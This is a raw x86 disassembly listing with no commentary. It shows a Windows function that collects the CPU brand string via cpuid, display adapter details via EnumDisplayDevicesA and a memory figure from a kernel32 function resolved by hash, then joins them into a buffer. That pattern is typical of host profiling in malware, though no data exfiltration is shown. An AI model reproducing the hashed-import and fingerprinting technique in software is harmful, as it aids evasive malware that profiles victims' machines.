mov dword [ecx + 4], eax
mov eax, dword [0x4779c9]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov eax, dword [0x4778b8]
mov edi, dword [esi + 0x8c]
mov dword [edi + 0xc], eax
mov eax, dword [0x4778b4]
mov dword [edi + 8], eax
mov eax, dword [0x4778b0]
mov dword [edi + 4], eax
mov eax, dword [0x4778ac]
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x41
call fcn.00457787
add esp, 8
mov ecx, dword [esi + 8]
mov dword [ecx], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0xc], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 0x18], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ecx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [esi + 8]
mov eax, dword [ebx]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 0x28], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x24], edx
mov dword [eax + 0x20], ecx
mov al, byte [0x4778d5]
mov ecx, dword [esi + 0x90]
mov byte [ecx + 0xc], al
mov eax, dword [0x4778d1]
mov dword [ecx + 8], eax
mov eax, dword [0x4778cd]
mov dword [ecx + 4], eax
mov eax, dword [0x4778c9]
mov dword [ecx], eax
mov edi, dword [esi]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00457fa0
add esp, 8
mov eax, dword [edi]
mov ebx, edi
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
sub esp, 4
mov edi, dword [esi + 0x94]
mov dword [esp], edi
mov dword [esp + 8], 0x1a8
mov dword [esp + 4], 0
call fcn.00452cd0
add esp, 0xc
mov dword [edi], 0x1a8
mov eax, dword [esi + 0x98]
mov dword [eax], 0
mov eax, dword [eax]
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
call eax
mov eax, dword [0x477a46]
mov ecx, dword [esi + 0x9c]
mov dword [ecx + 4], eax
mov eax, dword [0x477a42]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
add edi, 0x24
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46a00c
call fcn.00457fa0
add esp, 8
mov edi, dword [esi + 0xa0]
mov dword [edi + 4], 0
mov dword [edi], 0
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0x5f086d32
call fcn.0044f280
add esp, 4
mov dword [esp], edi
call eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
shld ecx, eax, 0x16
mov ebx, dword [esi + 0xa4]
mov dword [ebx], ecx
sub esp, 8
mov dword [esp], 0xa
mov dword [esp + 4], 1
call fcn.00457787
add esp, 8
mov ecx, dword [esi + 0x1c]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ecx, dword [ebx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa
call fcn.00456c44
add esp, 0xc
lea eax, [0x477ab0]
sub esp, 0xc
mov edi, dword [esi + 0xa8]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1e
call fcn.004521d0
add esp, 0xc
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00457fa0
add esp, 8
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00457fa0
add esp, 8
mov eax, dword [0x477ad2]
mov ecx, dword [esi + 0xac]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00457fa0
add esp, 8
lea eax, [0x477a70]
sub esp, 0xc
mov edi, dword [esi + 0xb0]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x16
call fcn.004521d0
add esp, 0xc
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00458180
add esp, 4
mov ecx, dword [ebx]
mov edx, dword [esi + 0xb4]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0042fc10
add esp, 0x10
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret